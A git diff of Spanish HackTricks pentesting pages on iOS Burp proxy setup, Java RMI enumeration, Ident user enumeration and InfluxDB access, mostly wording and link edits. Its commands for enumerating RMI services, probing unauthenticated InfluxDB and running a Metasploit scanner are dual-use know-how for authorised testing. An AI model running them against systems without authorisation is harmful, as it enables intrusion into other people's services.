||||
El **Burp Mobile Assistant** simplifica el proceso de instalación del Certificado Burp, la configuración del proxy y el SSL Pinning. Puedes encontrar una guía detallada en la [documentación oficial de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
|
||||
|
||||
### Pasos de Instalación Manual
|
||||
|
||||
1. **Configuración del Proxy:** Comienza configurando Burp como el proxy en los ajustes de Wi-Fi del iPhone.
|
||||
2. **Descarga del Certificado:** Navega a `http://burp` en el navegador de tu dispositivo para descargar el certificado.
|
||||
3. **Instalación del Certificado:** Instala el perfil descargado a través de **Ajustes** > **General** > **VPN y Administración de Dispositivos**, luego habilita la confianza para el CA de PortSwigger bajo **Ajustes de Confianza del Certificado**.
|
||||
3. **Instalación del Certificado:** Instala el perfil descargado a través de **Ajustes** > **General** > **VPN y Administración de Dispositivos**, luego habilita la confianza para el CA de PortSwigger en **Ajustes de Confianza del Certificado**.
|
||||
|
||||
### Configuración de un Proxy de Intercepción
|
||||
|
||||
La configuración permite el análisis del tráfico entre el dispositivo iOS y la internet a través de Burp, requiriendo una red Wi-Fi que admita el tráfico de cliente a cliente. Si no está disponible, una conexión USB a través de usbmuxd puede servir como alternativa. Los tutoriales de PortSwigger proporcionan instrucciones detalladas sobre la [configuración del dispositivo](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) e [instalación del certificado](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
La configuración permite el análisis del tráfico entre el dispositivo iOS y la internet a través de Burp, requiriendo una red Wi-Fi que admita el tráfico de cliente a cliente. Si no está disponible, una conexión USB a través de usbmuxd puede servir como alternativa. Los tutoriales de PortSwigger proporcionan instrucciones detalladas sobre la [configuración del dispositivo](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) y la [instalación del certificado](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
|
||||
### Configuración Avanzada para Dispositivos con Jailbreak
|
||||
|
||||
|
@ -58,7 +58,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
|
|||
|
||||
### Monitoreo/Captura Completa de la Red
|
||||
|
||||
El monitoreo del tráfico de dispositivos no HTTP puede realizarse eficientemente utilizando **Wireshark**, una herramienta capaz de capturar todo tipo de tráfico de datos. Para dispositivos iOS, el monitoreo en tiempo real del tráfico se facilita mediante la creación de una Interfaz Virtual Remota, un proceso detallado en [esta publicación de Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Antes de comenzar, la instalación de **Wireshark** en un sistema macOS es un requisito.
|
||||
El monitoreo del tráfico de dispositivos no HTTP puede realizarse eficientemente utilizando **Wireshark**, una herramienta capaz de capturar todo tipo de tráfico de datos. Para dispositivos iOS, el monitoreo en tiempo real del tráfico se facilita mediante la creación de una Interfaz Virtual Remota, un proceso detallado en [esta publicación de Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Antes de comenzar, la instalación de **Wireshark** en un sistema macOS es un requisito previo.
|
||||
|
||||
El procedimiento implica varios pasos clave:
|
||||
|
||||
|
@ -69,23 +69,23 @@ $ rvictl -s <UDID>
|
|||
Starting device <UDID> [SUCCEEDED] with interface rvi0
|
||||
```
|
||||
3. Después de identificar el UDID, se debe abrir **Wireshark** y seleccionar la interfaz "rvi0" para la captura de datos.
|
||||
4. Para monitoreo específico, como capturar tráfico HTTP relacionado con una dirección IP específica, se pueden emplear los Filtros de Captura de Wireshark:
|
||||
4. Para monitoreo específico, como capturar el tráfico HTTP relacionado con una dirección IP específica, se pueden emplear los Filtros de Captura de Wireshark:
|
||||
|
||||
## Instalación del Certificado Burp en el Simulador
|
||||
|
||||
* **Exportar Certificado Burp**
|
||||
* **Exportar el Certificado Burp**
|
||||
|
||||
En _Proxy_ --> _Opciones_ --> _Exportar certificado CA_ --> _Certificado en formato DER_
|
||||
|
||||
![](<../../.gitbook/assets/image (459).png>)
|
||||
|
||||
* **Arrastra y suelta** el certificado dentro del Emulador
|
||||
* **Dentro del emulador** ve a _Ajustes_ --> _General_ --> _Perfil_ --> _PortSwigger CA_, y **verifica el certificado**
|
||||
* **Dentro del emulador** ve a _Ajustes_ --> _General_ --> _Acerca de_ --> _Configuración de confianza de certificados_, y **habilita PortSwigger CA**
|
||||
* **Arrastrar y Soltar** el certificado dentro del Emulador
|
||||
* **Dentro del emulador** ir a _Ajustes_ --> _General_ --> _Perfil_ --> _PortSwigger CA_, y **verificar el certificado**
|
||||
* **Dentro del emulador** ir a _Ajustes_ --> _General_ --> _Acerca de_ --> _Configuración de confianza de certificados_, y **habilitar PortSwigger CA**
|
||||
|
||||
![](<../../.gitbook/assets/image (460).png>)
|
||||
|
||||
**¡Felicidades, has configurado con éxito el Certificado CA de Burp en el simulador de iOS!**
|
||||
**¡Felicidades, has configurado con éxito el Certificado CA de Burp en el simulador de iOS**
|
||||
|
||||
{% hint style="info" %}
|
||||
**El simulador de iOS utilizará las configuraciones de proxy de MacOS.**
|
||||
|
@ -95,15 +95,15 @@ En _Proxy_ --> _Opciones_ --> _Exportar certificado CA_ --> _Certificado en form
|
|||
|
||||
Pasos para configurar Burp como proxy:
|
||||
|
||||
* Ve a _Preferencias del Sistema_ --> _Red_ --> _Avanzado_
|
||||
* En la pestaña de _Proxies_ marca _Proxy web (HTTP)_ y _Proxy web seguro (HTTPS)_
|
||||
* En ambas opciones configura _127.0.0.1:8080_
|
||||
* Ir a _Preferencias del Sistema_ --> _Red_ --> _Avanzado_
|
||||
* En la pestaña de _Proxies_ marcar _Proxy web (HTTP)_ y _Proxy web seguro (HTTPS)_
|
||||
* En ambas opciones configurar _127.0.0.1:8080_
|
||||
|
||||
![](<../../.gitbook/assets/image (461).png>)
|
||||
|
||||
* Haz clic en _**Aceptar**_ y luego en _**Aplicar**_
|
||||
* Hacer clic en _**Aceptar**_ y luego en _**Aplicar**_
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -24,7 +24,7 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
## Información Básica
|
||||
|
||||
_La Invocación de Método Remoto de Java_, o _Java RMI_, es un mecanismo de _RPC_ orientado a objetos que permite que un objeto ubicado en una _máquina virtual de Java_ llame a métodos en un objeto ubicado en otra _máquina virtual de Java_. Esto permite a los desarrolladores escribir aplicaciones distribuidas utilizando un paradigma orientado a objetos. Una breve introducción a _Java RMI_ desde una perspectiva ofensiva se puede encontrar en [esta charla de blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
|
||||
_La Invocación de Método Remoto de Java_, o _Java RMI_, es un mecanismo de _RPC_ orientado a objetos que permite que un objeto ubicado en una _máquina virtual Java_ llame a métodos en un objeto ubicado en otra _máquina virtual Java_. Esto permite a los desarrolladores escribir aplicaciones distribuidas utilizando un paradigma orientado a objetos. Una breve introducción a _Java RMI_ desde una perspectiva ofensiva se puede encontrar en [esta charla de blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
|
||||
|
||||
**Puerto predeterminado:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
|
@ -43,11 +43,11 @@ _a veces tiene problemas para identificar servicios _RMI_ protegidos con _SSL_.
|
|||
Para decirlo de forma sencilla, _Java RMI_ permite a un desarrollador hacer que un _objeto Java_ esté disponible en la red. Esto abre un puerto _TCP_ donde los clientes pueden conectarse y llamar métodos en el objeto correspondiente. A pesar de que esto suena simple, hay varios desafíos que _Java RMI_ necesita resolver:
|
||||
|
||||
1. Para despachar una llamada de método a través de _Java RMI_, los clientes necesitan conocer la dirección IP, el puerto de escucha, la clase o interfaz implementada y el `ObjID` del objeto objetivo (el `ObjID` es un identificador único y aleatorio que se crea cuando el objeto está disponible en la red. Es necesario porque _Java RMI_ permite que múltiples objetos escuchen en el mismo puerto _TCP_).
|
||||
2. Los clientes remotos pueden asignar recursos en el servidor invocando métodos en el objeto expuesto. La _máquina virtual Java_ necesita rastrear qué recursos siguen en uso y cuáles de ellos pueden ser recolectados por el recolector de basura.
|
||||
2. Los clientes remotos pueden asignar recursos en el servidor invocando métodos en el objeto expuesto. La _máquina virtual Java_ necesita rastrear qué recursos siguen en uso y cuáles pueden ser recolectados por el recolector de basura.
|
||||
|
||||
El primer desafío se resuelve mediante el _registro RMI_, que es básicamente un servicio de nombres para _Java RMI_. El _registro RMI_ en sí también es un servicio _RMI_, pero la interfaz implementada y el `ObjID` son fijos y conocidos por todos los clientes _RMI_. Esto permite a los clientes _RMI_ consumir el registro _RMI_ solo conociendo el puerto _TCP_ correspondiente.
|
||||
|
||||
Cuando los desarrolladores quieren hacer que sus _objetos Java_ estén disponibles en la red, generalmente los vinculan a un _registro RMI_. El _registro_ almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y el valor `ObjID`) y lo pone disponible bajo un nombre legible para humanos (el _nombre vinculado_). Los clientes que desean consumir el servicio _RMI_ solicitan al _registro RMI_ el _nombre vinculado_ correspondiente y el registro devuelve toda la información necesaria para conectarse. Por lo tanto, la situación es básicamente la misma que con un servicio _DNS_ ordinario. El siguiente listado muestra un pequeño ejemplo:
|
||||
Cuando los desarrolladores quieren que sus _objetos Java_ estén disponibles en la red, generalmente los vinculan a un _registro RMI_. El _registro_ almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y el valor `ObjID`) y lo pone disponible bajo un nombre legible para humanos (el _nombre vinculado_). Los clientes que desean consumir el servicio _RMI_ solicitan al _registro RMI_ el _nombre vinculado_ correspondiente y el registro devuelve toda la información necesaria para conectarse. Por lo tanto, la situación es básicamente la misma que con un servicio _DNS_ ordinario. El siguiente listado muestra un pequeño ejemplo:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
|
@ -71,7 +71,7 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
El segundo de los desafíos mencionados se resuelve con el _Recolector de Basura Distribuido_ (_DGC_). Este es otro servicio _RMI_ con un valor de `ObjID` conocido y está disponible en prácticamente cada _punto final RMI_. Cuando un cliente _RMI_ comienza a usar un servicio _RMI_, envía una información al _DGC_ de que el objeto remoto correspondiente está en uso. El _DGC_ puede entonces hacer un seguimiento del recuento de referencias y limpiar objetos no utilizados.
|
||||
El segundo de los desafíos mencionados anteriormente se resuelve mediante el _Recolector de Basura Distribuido_ (_DGC_). Este es otro servicio _RMI_ con un valor de `ObjID` bien conocido y está disponible en prácticamente cada _punto final RMI_. Cuando un cliente _RMI_ comienza a usar un servicio _RMI_, envía una información al _DGC_ de que el objeto remoto correspondiente está en uso. El _DGC_ puede entonces hacer un seguimiento del recuento de referencias y limpiar objetos no utilizados.
|
||||
|
||||
Junto con el _Sistema de Activación_ obsoleto, estos son los tres componentes predeterminados de _Java RMI_:
|
||||
|
||||
|
@ -79,11 +79,11 @@ Junto con el _Sistema de Activación_ obsoleto, estos son los tres componentes p
|
|||
2. El _Sistema de Activación_ (`ObjID = 1`)
|
||||
3. El _Recolector de Basura Distribuido_ (`ObjID = 2`)
|
||||
|
||||
Los componentes predeterminados de _Java RMI_ han sido vectores de ataque conocidos durante bastante tiempo y existen múltiples vulnerabilidades en versiones obsoletas de _Java_. Desde la perspectiva de un atacante, estos componentes predeterminados son interesantes, porque implementan clases / interfaces conocidas y es fácil interactuar con ellos. Esta situación es diferente para los servicios _RMI_ personalizados. Para llamar a un método en un objeto remoto, es necesario conocer la firma del método correspondiente de antemano. Sin conocer una firma de método existente, no hay forma de comunicarse con un servicio _RMI_.
|
||||
Los componentes predeterminados de _Java RMI_ han sido vectores de ataque conocidos durante bastante tiempo y existen múltiples vulnerabilidades en versiones obsoletas de _Java_. Desde la perspectiva de un atacante, estos componentes predeterminados son interesantes, porque implementan clases/interfaces conocidas y es fácil interactuar con ellos. Esta situación es diferente para los servicios _RMI_ personalizados. Para llamar a un método en un objeto remoto, es necesario conocer la firma del método correspondiente de antemano. Sin conocer una firma de método existente, no hay forma de comunicarse con un servicio _RMI_.
|
||||
|
||||
## Enumeración RMI
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) es un escáner de vulnerabilidades _Java RMI_ que es capaz de identificar automáticamente vulnerabilidades _RMI_ comunes. Siempre que identifiques un punto final _RMI_, deberías probarlo:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) es un escáner de vulnerabilidades _Java RMI_ capaz de identificar automáticamente vulnerabilidades comunes de _RMI_. Siempre que identifiques un punto final _RMI_, deberías probarlo:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
|
@ -229,7 +229,7 @@ Además de adivinar, también deberías buscar en motores de búsqueda o en _Git
|
|||
|
||||
## Interfaces Conocidas
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marca clases o interfaces como `conocidas` si están listadas en la base de datos interna de servicios _RMI_ conocidos de la herramienta. En estos casos, puedes usar la acción `conocida` para obtener más información sobre el correspondiente servicio _RMI_:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marca clases o interfaces como `conocidas` si están listadas en la base de datos interna de servicios _RMI_ conocidos de la herramienta. En estos casos, puedes usar la acción `conocida` para obtener más información sobre el servicio _RMI_ correspondiente:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
|
@ -314,7 +314,7 @@ Command: rmg enum {IP} {PORT}
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -325,10 +325,10 @@ Obtenga acceso hoy:
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,18 +6,18 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén acceso hoy:
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ Obtén acceso hoy:
|
|||
|
||||
El **Protocolo Ident** se utiliza en **Internet** para asociar una **conexión TCP** con un usuario específico. Originalmente diseñado para ayudar en la **gestión de redes** y **seguridad**, opera permitiendo a un servidor consultar a un cliente en el puerto 113 para solicitar información sobre el usuario de una conexión TCP particular.
|
||||
|
||||
Sin embargo, debido a las preocupaciones modernas sobre la privacidad y el potencial de uso indebido, su uso ha disminuido, ya que puede revelar información del usuario a partes no autorizadas de manera inadvertida. Se recomiendan medidas de seguridad mejoradas, como conexiones cifradas y controles de acceso estrictos, para mitigar estos riesgos.
|
||||
Sin embargo, debido a las preocupaciones modernas sobre la privacidad y el potencial de uso indebido, su uso ha disminuido, ya que puede revelar información del usuario a partes no autorizadas de manera inadvertida. Se recomienda implementar medidas de seguridad mejoradas, como conexiones cifradas y controles de acceso estrictos, para mitigar estos riesgos.
|
||||
|
||||
**Puerto predeterminado:** 113
|
||||
```
|
||||
|
@ -36,7 +36,7 @@ PORT STATE SERVICE
|
|||
|
||||
### **Manual - Obtener usuario/Identificar el servicio**
|
||||
|
||||
Si una máquina está ejecutando el servicio ident y samba (445) y estás conectado a samba usando el puerto 43218. Puedes obtener qué usuario está ejecutando el servicio de samba haciendo:
|
||||
Si una máquina está ejecutando el servicio ident y samba (445) y estás conectado a samba usando el puerto 43218. Puedes obtener qué usuario está ejecutando el servicio samba haciendo:
|
||||
|
||||
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
||||
|
||||
|
@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
|||
|
||||
identd.conf
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -113,7 +113,7 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -10,13 +10,13 @@ Obtenga acceso hoy:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking en AWS desde cero hasta convertirse en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -37,7 +37,7 @@ Desde el punto de vista de un pentester, esta es otra base de datos que podría
|
|||
|
||||
### Autenticación
|
||||
|
||||
InfluxDB podría requerir autenticación o no.
|
||||
InfluxDB podría requerir autenticación o no
|
||||
```bash
|
||||
# Try unauthenticated
|
||||
influx -host 'host name' -port 'port #'
|
||||
|
@ -66,7 +66,7 @@ _internal
|
|||
```
|
||||
#### Mostrar tablas/mediciones
|
||||
|
||||
La [**documentación de InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) explica que las **mediciones** en InfluxDB pueden ser comparadas con tablas SQL. La nomenclatura de estas **mediciones** es indicativa de su contenido respectivo, cada una albergando datos relevantes para una entidad particular.
|
||||
La [**documentación de InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) explica que las **mediciones** en InfluxDB pueden ser comparadas con las tablas SQL. La nomenclatura de estas **mediciones** es indicativa de su contenido respectivo, cada una albergando datos relevantes para una entidad particular.
|
||||
```bash
|
||||
> show measurements
|
||||
name: measurements
|
||||
|
@ -116,7 +116,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
|
|||
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
En algunas pruebas con la omisión de autenticación se observó que el nombre de la tabla debía estar entre comillas dobles, como: `select * from "cpu"`
|
||||
En algunas pruebas con la omisión de autenticación se observó que el nombre de la tabla debía estar entre comillas dobles como: `select * from "cpu"`
|
||||
{% endhint %}
|
||||
|
||||
### Autenticación Automatizada
|
||||
|
@ -130,14 +130,14 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
